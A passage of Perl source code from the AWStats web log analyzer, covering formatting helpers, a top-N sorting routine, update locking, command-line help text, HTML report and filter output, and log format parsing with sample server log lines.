$lng ); print "<a href=\"" . XMLEncode("$AWScript${NewLinkParams}lang=$lng") . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\"" . AltTitle("$lngtitle") . " /></a> \n"; } } } #------------------------------------------------------------------------------ # Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb) # Parameters: bytes (integer value or "0.00") # Input: None # Output: None # Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0" #------------------------------------------------------------------------------ sub Format_Bytes { my $bytes = shift || 0; my $fudge = 1; # Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions if ( $bytes >= ( $fudge << 30 ) ) { return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]"; } if ( $bytes >= ( $fudge << 20 ) ) { return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]"; } if ( $bytes >= ( $fudge << 10 ) ) { return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]"; } if ( $bytes < 0 ) { $bytes = "?"; } return int($bytes) . ( int($bytes) ? " $Message[119]" : "" ); } #------------------------------------------------------------------------------ # Function: Format a number with commas or any other separator # CL: courtesy of http://www.perlmonks.org/?node_id=2145 # Parameters: number # Input: None # Output: None # Return: "999,999,999,999" #------------------------------------------------------------------------------ sub Format_Number { my $number = shift || 0; $number =~ s/(\d)(\d\d\d)$/$1 $2/; $number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/; $number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/; my $separator = $Message[177]; if ($separator eq '') { $separator=' '; } # For backward compatibility $number =~ s/ /$separator/g; return $number; } #------------------------------------------------------------------------------ # Function: Return " alt=string title=string" # Parameters: string # Input: None # Output: None # Return: "alt=string title=string" #------------------------------------------------------------------------------ sub AltTitle { my $string = shift || ''; return " alt='$string' title='$string'"; # return " alt=\"$string\" title=\"$string\""; # return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\""; } #------------------------------------------------------------------------------ # Function: Tell if an email is a local or external email # Parameters: email # Input: $SiteDomain(exact string) $HostAliases(quoted regex string) # Output: None # Return: -1, 0 or 1 #------------------------------------------------------------------------------ sub IsLocalEMail { my $email = shift || 'unknown'; if ( $email !~ /\@(.*)$/ ) { return 0; } my $domain = $1; if ( $domain =~ /^$SiteDomain$/i ) { return 1; } foreach (@HostAliases) { if ( $domain =~ /$_/ ) { return 1; } } return -1; } #------------------------------------------------------------------------------ # Function: Format a date according to Message[78] (country date format) # Parameters: String date YYYYMMDDHHMMSS # Option 0=LastUpdate and LastTime date # 1=Arrays date except daymonthvalues # 2=daymonthvalues date (only year month and day) # Input: $Message[78] # Output: None # Return: Date with format defined by Message[78] and option #------------------------------------------------------------------------------ sub Format_Date { my $date = shift; my $option = shift || 0; my $year = substr( "$date", 0, 4 ); my $month = substr( "$date", 4, 2 ); my $day = substr( "$date", 6, 2 ); my $hour = substr( "$date", 8, 2 ); my $min = substr( "$date", 10, 2 ); my $sec = substr( "$date", 12, 2 ); my $dateformat = $Message[78]; if ( $option == 2 ) { $dateformat =~ s/^[^ymd]+//g; $dateformat =~ s/[^ymd]+$//g; } $dateformat =~ s/yyyy/$year/g; $dateformat =~ s/yy/$year/g; $dateformat =~ s/mmm/$MonthNumLib{$month}/g; $dateformat =~ s/mm/$month/g; $dateformat =~ s/dd/$day/g; $dateformat =~ s/HH/$hour/g; $dateformat =~ s/MM/$min/g; $dateformat =~ s/SS/$sec/g; return "$dateformat"; } #------------------------------------------------------------------------------ # Function: Return 1 if string contains only ascii chars # Parameters: string # Input: None # Output: None # Return: 0 or 1 #------------------------------------------------------------------------------ sub IsAscii { my $string = shift; if ($Debug) { debug( "IsAscii($string)", 5 ); } if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) { if ($Debug) { debug( " Yes", 6 ); } return 1 ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t } if ($Debug) { debug( " No", 6 ); } return 0; } #------------------------------------------------------------------------------ # Function: Return the lower value between 2 but exclude value if 0 # Parameters: Val1 and Val2 # Input: None # Output: None # Return: min(Val1,Val2) #------------------------------------------------------------------------------ sub MinimumButNoZero { my ( $val1, $val2 ) = @_; return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 ); } #------------------------------------------------------------------------------ # Function: Add a val from sorting tree # Parameters: keytoadd keyval [firstadd] # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub AddInTree { my $keytoadd = shift; my $keyval = shift; my $firstadd = shift || 0; if ( $firstadd == 1 ) { # Val is the first one if ($Debug) { debug( " firstadd", 4 ); } $val{$keyval} = $keytoadd; $lowerval = $keyval; if ($Debug) { debug( " lowerval=$lowerval, nb elem val=" . ( scalar keys %val ) . ", nb elem egal=" . ( scalar keys %egal ) . ".", 4 ); } return; } if ( $val{$keyval} ) { # Val is already in tree if ($Debug) { debug( " val is already in tree", 4 ); } $egal{$keytoadd} = $val{$keyval}; $val{$keyval} = $keytoadd; if ($Debug) { debug( " lowerval=$lowerval, nb elem val=" . ( scalar keys %val ) . ", nb elem egal=" . ( scalar keys %egal ) . ".", 4 ); } return; } if ( $keyval <= $lowerval ) { # Val is a new one lower (should happens only when tree is not full) if ($Debug) { debug( " keytoadd val=$keyval is lower or equal to lowerval=$lowerval", 4 ); } $val{$keyval} = $keytoadd; $nextval{$keyval} = $lowerval; $lowerval = $keyval; if ($Debug) { debug( " lowerval=$lowerval, nb elem val=" . ( scalar keys %val ) . ", nb elem egal=" . ( scalar keys %egal ) . ".", 4 ); } return; } # Val is a new one higher if ($Debug) { debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 ); } $val{$keyval} = $keytoadd; my $valcursor = $lowerval; # valcursor is value just before keyval while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) { $valcursor = $nextval{$valcursor}; } if ( $nextval{$valcursor} ) { # keyval is between valcursor and nextval{valcursor} $nextval{$keyval} = $nextval{$valcursor}; } $nextval{$valcursor} = $keyval; if ($Debug) { debug( " lowerval=$lowerval, nb elem val=" . ( scalar keys %val ) . ", nb elem egal=" . ( scalar keys %egal ) . ".", 4 ); } } #------------------------------------------------------------------------------ # Function: Remove a val from sorting tree # Parameters: None # Input: $lowerval %val %egal # Output: None # Return: None #------------------------------------------------------------------------------ sub Removelowerval { my $keytoremove = $val{$lowerval}; # This is lower key if ($Debug) { debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 ); } if ( $egal{$keytoremove} ) { $val{$lowerval} = $egal{$keytoremove}; delete $egal{$keytoremove}; } else { delete $val{$lowerval}; $lowerval = $nextval{$lowerval}; # Set new lowerval } if ($Debug) { debug( " new lower value=$lowerval, val size=" . ( scalar keys %val ) . ", egal size=" . ( scalar keys %egal ), 4 ); } } #------------------------------------------------------------------------------ # Function: Build @keylist array # Parameters: Size max for @keylist array, # Min value in hash for select, # Hash used for select, # Hash used for order # Input: None # Output: None # Return: @keylist response array #------------------------------------------------------------------------------ sub BuildKeyList { my $ArraySize = shift || error( "System error. Call to BuildKeyList function with incorrect value for first param", "", "", 1 ); my $MinValue = shift || error( "System error. Call to BuildKeyList function with incorrect value for second param", "", "", 1 ); my $hashforselect = shift; my $hashfororder = shift; if ($Debug) { debug( " BuildKeyList($ArraySize,$MinValue,$hashforselect with size=" . ( scalar keys %$hashforselect ) . ",$hashfororder with size=" . ( scalar keys %$hashfororder ) . ")", 3 ); } delete $hashforselect->{0}; delete $hashforselect->{ '' }; # Those is to protect from infinite loop when hash array has an incorrect null key my $count = 0; $lowerval = 0; # Global because used in AddInTree and Removelowerval %val = (); %nextval = (); %egal = (); foreach my $key ( keys %$hashforselect ) { if ( $count < $ArraySize ) { if ( $hashforselect->{$key} >= $MinValue ) { $count++; if ($Debug) { debug( " Add in tree entry $count : $key (value=" . ( $hashfororder->{$key} || 0 ) . ", tree not full)", 4 ); } AddInTree( $key, $hashfororder->{$key} || 0, $count ); } next; } $count++; if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; } if ($Debug) { debug( " Add in tree entry $count : $key (value=" . ( $hashfororder->{$key} || 0 ) . " > lowerval=$lowerval)", 4 ); } AddInTree( $key, $hashfororder->{$key} || 0 ); if ($Debug) { debug( " Removelower in tree", 4 ); } Removelowerval(); } # Build key list and sort it if ($Debug) { debug( " Build key list and sort it. lowerval=$lowerval, nb elem val=" . ( scalar keys %val ) . ", nb elem egal=" . ( scalar keys %egal ) . ".", 3 ); } my %notsortedkeylist = (); foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; } foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; } @keylist = (); @keylist = ( sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) } keys %notsortedkeylist ); if ($Debug) { debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 ); } return; } #------------------------------------------------------------------------------ # Function: Lock or unlock update # Parameters: status (1 to lock, 0 to unlock) # Input: $DirLock (if status=0) $PROG $FileSuffix # Output: $DirLock (if status=1) # Return: None #------------------------------------------------------------------------------ sub Lock_Update { my $status = shift; my $lock = "$PROG$FileSuffix.lock"; if ($status) { # We stop if there is at least one lock file wherever it is foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { my $newkey = $key; $newkey =~ s/[\\\/]$//; if ( -f "$newkey/$lock" ) { error( "An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.", "", "", 1 ); } } # Set lock where we can foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { if ( !-d "$key" ) { next; } $DirLock = $key; $DirLock =~ s/[\\\/]$//; if ($Debug) { debug("Update lock file $DirLock/$lock is set"); } open( LOCK, ">$DirLock/$lock" ) || error( "Failed to create lock file $DirLock/$lock", "", "", 1 ); print LOCK "AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n"; close(LOCK); last; } } else { # Remove lock if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); } unlink("$DirLock/$lock"); } return; } #------------------------------------------------------------------------------ # Function: Signal handler to call Lock_Update to remove lock file # Parameters: Signal name # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub SigHandler { my $signame = shift; print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n"; &Lock_Update(0); exit 1; } #------------------------------------------------------------------------------ # Function: Convert an IPAddress into an integer # Parameters: IPAddress # Input: None # Output: None # Return: Int #------------------------------------------------------------------------------ sub Convert_IP_To_Decimal { my ($IPAddress) = @_; my @ip_seg_arr = split( /\./, $IPAddress ); my $decimal_ip_address = 256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 * $ip_seg_arr[2] + $ip_seg_arr[3]; return ($decimal_ip_address); } #------------------------------------------------------------------------------ # Function: Test there is at least one value in list not null # Parameters: List of values # Input: None # Output: None # Return: 1 There is at least one not null value, 0 else #------------------------------------------------------------------------------ sub AtLeastOneNotNull { if ($Debug) { debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 ); } foreach my $val (@_) { if ($val) { return 1; } } return 0; } #------------------------------------------------------------------------------ # Function: Prints the command line interface help information # Parameters: None # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub PrintCLIHelp{ &Read_Ref_Data( 'browsers', 'domains', 'operating_systems', 'robots', 'search_engines', 'worms' ); print "----- $PROG $VERSION (c) 2000-2016 Laurent Destailleur -----\n"; print "AWStats is a free web server logfile analyzer to show you advanced web\n"; print "statistics.\n"; print "AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n"; print "with a GNU General Public License (See LICENSE file for details).\n"; print "\n"; print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n"; print "\n"; print " This runs $PROG in command line to update statistics (-update option) of a\n"; print " web site, from the log file defined in AWStats config file, or build a HTML\n"; print " report (-output option).\n"; print " First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n"; print " If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n"; print " Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n"; print " in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n"; print " awstats.pl script file.\n"; print " Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n"; print " use it as the \"config\" value, whatever is the value on command line or URL.\n"; print " See AWStats documentation for all setup instrutions.\n"; print "\n"; print "Options to update statistics:\n"; print " -update to update statistics (default)\n"; print " -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n"; print " -showcorrupted to add output for each corrupted lines found, with reason\n"; print " -showdropped to add output for each dropped lines found, with reason\n"; print " -showunknownorigin to output referer when it can't be parsed\n"; print " -showdirectorigin to output log line when origin is a direct access\n"; print " -updatefor=n to stop the update process after parsing n lines\n"; print " -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n"; print " Be care to process log files in chronological order when updating statistics.\n"; print "\n"; print "Options to show statistics:\n"; print " -output to output main HTML report (no update made except with -update)\n"; print " -output=x to output other report pages where x is:\n"; print " alldomains to build page of all domains/countries\n"; print " allhosts to build page of all hosts\n"; print " lasthosts to build page of last hits for hosts\n"; print " unknownip to build page of all unresolved IP\n"; print " allemails to build page of all email senders (maillog)\n"; print " lastemails to build page of last email senders (maillog)\n"; print " allemailr to build page of all email receivers (maillog)\n"; print " lastemailr to build page of last email receivers (maillog)\n"; print " alllogins to build page of all logins used\n"; print " lastlogins to build page of last hits for logins\n"; print " allrobots to build page of all robots/spider visits\n"; print " lastrobots to build page of last hits for robots\n"; print " urldetail to list most often viewed pages \n"; print " urldetail:filter to list most often viewed pages matching filter\n"; print " urlentry to list entry pages\n"; print " urlentry:filter to list entry pages matching filter\n"; print " urlexit to list exit pages\n"; print " urlexit:filter to list exit pages matching filter\n"; print " osdetail to build page with os detailed versions\n"; print " browserdetail to build page with browsers detailed versions\n"; print " unknownbrowser to list 'User Agents' with unknown browser\n"; print " unknownos to list 'User Agents' with unknown OS\n"; print " refererse to build page of all refering search engines\n"; print " refererpages to build page of all refering pages\n"; #print " referersites to build page of all refering sites\n"; print " keyphrases to list all keyphrases used on search engines\n"; print " keywords to list all keywords used on search engines\n"; print " errors404 to list 'Referers' for 404 errors\n"; print " allextraX to build page of all values for ExtraSection X\n"; print " -staticlinks to have static links in HTML report page\n"; print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n"; print " -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n"; print " -month=MM to output a HTML report for an old month MM\n"; print " -year=YYYY to output a HTML report for an old year YYYY\n"; print " The 'date' options doesn't allow you to process old log file. They only\n"; print " allow you to see a past report for a chosen month/year period instead of\n"; print " current month/year.\n"; print "\n"; print "Other options:\n"; print " -debug=X to add debug informations lesser than level X (speed reduced)\n"; print " -version show AWStats version\n"; print "\n"; print "Now supports/detects:\n"; print " Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n"; print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n"; print " Number of visits, number of unique visitors\n"; print " Visits duration and list of last visits\n"; print " Authenticated users\n"; print " Days of week and rush hours\n"; print " Hosts list and unresolved IP addresses list\n"; print " Most viewed, entry and exit pages\n"; print " Files type and Web compression (mod_gzip, mod_deflate stats)\n"; print " Screen size\n"; print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n"; print " Quicktime reader, WMA reader, PDF reader\n"; print " Configurable personalized reports\n"; print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n"; print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n"; print " " . ( scalar keys %WormsHashLib ) . " worm's families\n"; print " " . ( scalar keys %OSHashLib ) . " operating systems\n"; print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers"; &Read_Ref_Data('browsers_phone'); print " (" . ( scalar keys %BrowsersHashIDLib ) . " with phone browsers database)\n"; print " " . ( scalar keys %SearchEnginesHashLib ) . " search engines (and keyphrases/keywords used from them)\n"; print " All HTTP errors with last referrer\n"; print " Report by day/month/year\n"; print " Dynamic or static HTML or XHTML reports, static PDF reports\n"; print " Indexed text or XML monthly database\n"; print " And a lot of other advanced features and options...\n"; print "New versions and FAQ at http://www.awstats.org\n"; } #------------------------------------------------------------------------------ # Function: Return the string to add in html tag to include popup javascript code # Parameters: tooltip number # Input: None # Output: None # Return: string with javascript code #------------------------------------------------------------------------------ sub Tooltip { my $ttnb = shift; return ( $TOOLTIPON ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\"" : "" ); } #------------------------------------------------------------------------------ # Function: Insert a form filter # Parameters: Name of filter field, default for filter field, default for exclude filter field # Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig # Output: HTML Form # Return: None #------------------------------------------------------------------------------ sub HTMLShowFormFilter { my $fieldfiltername = shift; my $fieldfilterinvalue = shift; my $fieldfilterexvalue = shift; if ( !$StaticLinks ) { my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } print "\n<form name=\"FormFilter\" action=\"" . XMLEncode("$AWScript${NewLinkParams}") . "\" class=\"aws_border\">\n"; print "<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n"; print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n"; print "<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n"; print "<td>   </td>"; print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n"; print "<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n"; print "<td>"; print "<input type=\"hidden\" name=\"output\" value=\"" . join( ',', keys %HTMLOutput ) . "\" />\n"; if ($SiteConfig) { print "<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; } if ($DirConfig) { print "<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; } if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n"; } if ( $QueryString =~ /(^|&|&)month=(\d\d)/i || $QueryString =~ /(^|&|&)month=(all)/i ) { print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n"; } if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) { print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n"; } if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n"; } if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) { print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n"; } print "<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n"; print "<td>   </td>"; print "</tr></table>\n"; print "</form>\n"; print "<br />\n"; print "\n"; } } #------------------------------------------------------------------------------ # Function: Write other user info (with help of plugin) # Parameters: $user # Input: $SiteConfig # Output: URL link # Return: None #------------------------------------------------------------------------------ sub HTMLShowUserInfo { my $user = shift; # Call to plugins' function ShowInfoUser foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) { # my $function="ShowInfoUser_$pluginname('$user')"; # eval("$function"); my $function = "ShowInfoUser_$pluginname"; &$function($user); } } #------------------------------------------------------------------------------ # Function: Write other cluster info (with help of plugin) # Parameters: $clusternb # Input: $SiteConfig # Output: Cluster info # Return: None #------------------------------------------------------------------------------ sub HTMLShowClusterInfo { my $cluster = shift; # Call to plugins' function ShowInfoCluster foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } ) { # my $function="ShowInfoCluster_$pluginname('$user')"; # eval("$function"); my $function = "ShowInfoCluster_$pluginname"; &$function($cluster); } } #------------------------------------------------------------------------------ # Function: Write other host info (with help of plugin) # Parameters: $host # Input: $LinksToWhoIs $LinksToWhoIsIp # Output: None # Return: None #------------------------------------------------------------------------------ sub HTMLShowHostInfo { my $host = shift; # Call to plugins' function ShowInfoHost foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) { # my $function="ShowInfoHost_$pluginname('$host')"; # eval("$function"); my $function = "ShowInfoHost_$pluginname"; &$function($host); } } #------------------------------------------------------------------------------ # Function: Write other url info (with help of plugin) # Parameters: $url # Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl # Output: URL link # Return: None #------------------------------------------------------------------------------ sub HTMLShowURLInfo { my $url = shift; my $nompage = CleanXSS($url); # Call to plugins' function ShowInfoURL foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) { # my $function="ShowInfoURL_$pluginname('$url')"; # eval("$function"); my $function = "ShowInfoURL_$pluginname"; &$function($url); } if ( length($nompage) > $MaxLengthOfShownURL ) { $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; } if ($ShowLinksOnUrl) { my $newkey = CleanXSS($url); if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file if ( $newkey =~ /^http(s|):/i ) { # URL seems to be extracted from a proxy log file print "<a href=\"" . XMLEncode("$newkey") . "\" target=\"url\" rel=\"nofollow\">" . XMLEncode($nompage) . "</a>"; } elsif ( $newkey =~ /^\// ) { # URL seems to be an url extracted from a web or wap server log file $newkey =~ s/^\/$SiteDomain//i; # Define urlprot my $urlprot = 'http'; if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ ) { $urlprot = 'https'; } print "<a href=\"" . XMLEncode("$urlprot://$SiteDomain$newkey") . "\" target=\"url\" rel=\"nofollow\">" . XMLEncode($nompage) . "</a>"; } else { print XMLEncode($nompage); } } elsif ( $LogType eq 'F' ) { # Ftp log file print XMLEncode($nompage); } elsif ( $LogType eq 'M' ) { # Smtp log file print XMLEncode($nompage); } else { # Other type log file print XMLEncode($nompage); } } else { print XMLEncode($nompage); } } #------------------------------------------------------------------------------ # Function: Define value for PerlParsingFormat (used for regex log record parsing) # Parameters: $LogFormat # Input: - # Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat # Return: - #------------------------------------------------------------------------------ sub DefinePerlParsingFormat { my $LogFormat = shift; $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method = $pos_url = $pos_code = $pos_size = -1; $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout = $pos_compratio = -1; $pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1; @pos_extra = (); @fieldlib = (); $PerlParsingFormat = ''; # Log records examples: # Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" # Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-" # Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-" # Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-" # IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm # WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133 # Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT # Log formats: # Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct. # Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct. # Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n) if ($Debug) { debug( "Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')" ); } if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format if ( $LogFormat eq '1' || $LogFormat eq '6' ) { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"". # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "". # $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; $PerlParsingFormat = "([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\""; $pos_host = 0; $pos_logname = 1; $pos_date = 2; $pos_method = 3; $pos_url = 4; $pos_code = 5; $pos_size = 6; $pos_referer = 7; $pos_agent = 8; @fieldlib = ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size', 'referer', 'ua' ); } elsif ( $LogFormat eq '2' ) { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)" $PerlParsingFormat = "(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)"; $pos_date = 0; $pos_host = 1; $pos_logname = 2; $pos_method = 3; $pos_url = 4; $pos_code = 5; $pos_size = 6; $pos_agent = 7; $pos_referer = 8; @fieldlib = ( 'date', 'host', 'logname', 'method', 'url', 'code', 'size', 'ua', 'referer' ); } elsif ( $LogFormat eq '3' ) { $PerlParsingFormat = "([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)"; $pos_date = 0; $pos_method = 1; $pos_code = 2; $pos_host = 3; $pos_agent = 4; $pos_referer = 5; $pos_url = 6; $pos_size = 7; @fieldlib = ( 'date', 'method', 'code', 'host', 'ua', 'referer', 'url', 'size' ); } elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b" # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes). $PerlParsingFormat = "([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)"; $pos_host = 0; $pos_logname = 1; $pos_date = 2; $pos_method = 3; $pos_url = 4; $pos_code = 5; $pos_size = 6; @fieldlib = ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' ); } } else { # Personalized log format my $LogFormatString = $LogFormat; # Replacement for Notes format string that are not Apache $LogFormatString =~ s/%vh/%virtualname/g; # Replacement for Apache format string $LogFormatString =~ s/%v(\s)/%virtualname$1/g; $LogFormatString =~ s/%v$/%virtualname/g; $LogFormatString =~ s/%h(\s)/%host$1/g; $LogFormatString =~ s/%h$/%host/g; $LogFormatString =~ s/%l(\s)/%other$1/g; $LogFormatString =~ s/%l$/%other/g; $LogFormatString =~ s/\"%u\"/%lognamequot/g; $LogFormatString =~ s/%u(\s)/%logname$1/g; $LogFormatString =~ s/%u$/%logname/g; $LogFormatString =~ s/%t(\s)/%time1$1/g; $LogFormatString =~ s/%t$/%time1/g; $LogFormatString =~ s/\"%r\"/%methodurl/g; $LogFormatString =~ s/%>s/%code/g; $LogFormatString =~ s/%b(\s)/%bytesd$1/g; $LogFormatString =~ s/%b$/%bytesd/g; $LogFormatString =~ s/\"%\{Referer}i\"/%refererquot/g; $LogFormatString =~ s/\"%\{User-Agent}i\"/%uaquot/g; $LogFormatString =~ s/%\{mod_gzip_input_size}n/%gzipin/g; $LogFormatString =~ s/%\{mod_gzip_output_size}n/%gzipout/g; $LogFormatString =~ s/%\{mod_gzip_compression_ratio}n/%gzipratio/g; $LogFormatString =~ s/$%\{ratio}n$/%deflateratio/g; # Replacement for a IIS and ISA format string $LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri $LogFormatString =~ s/date\stime/%time2/g; $LogFormatString =~ s/c-ip/%host/g; $LogFormatString =~ s/cs-username/%logname/g; $LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR $LogFormatString =~ s/cs-uri-stem/%url/g; $LogFormatString =~ s/cs-uri/%url/g; $LogFormatString =~ s/sc-status/%code/g; $LogFormatString =~ s/sc-bytes/%bytesd/g; $LogFormatString =~ s/cs-version/%other/g; # Protocol $LogFormatString =~ 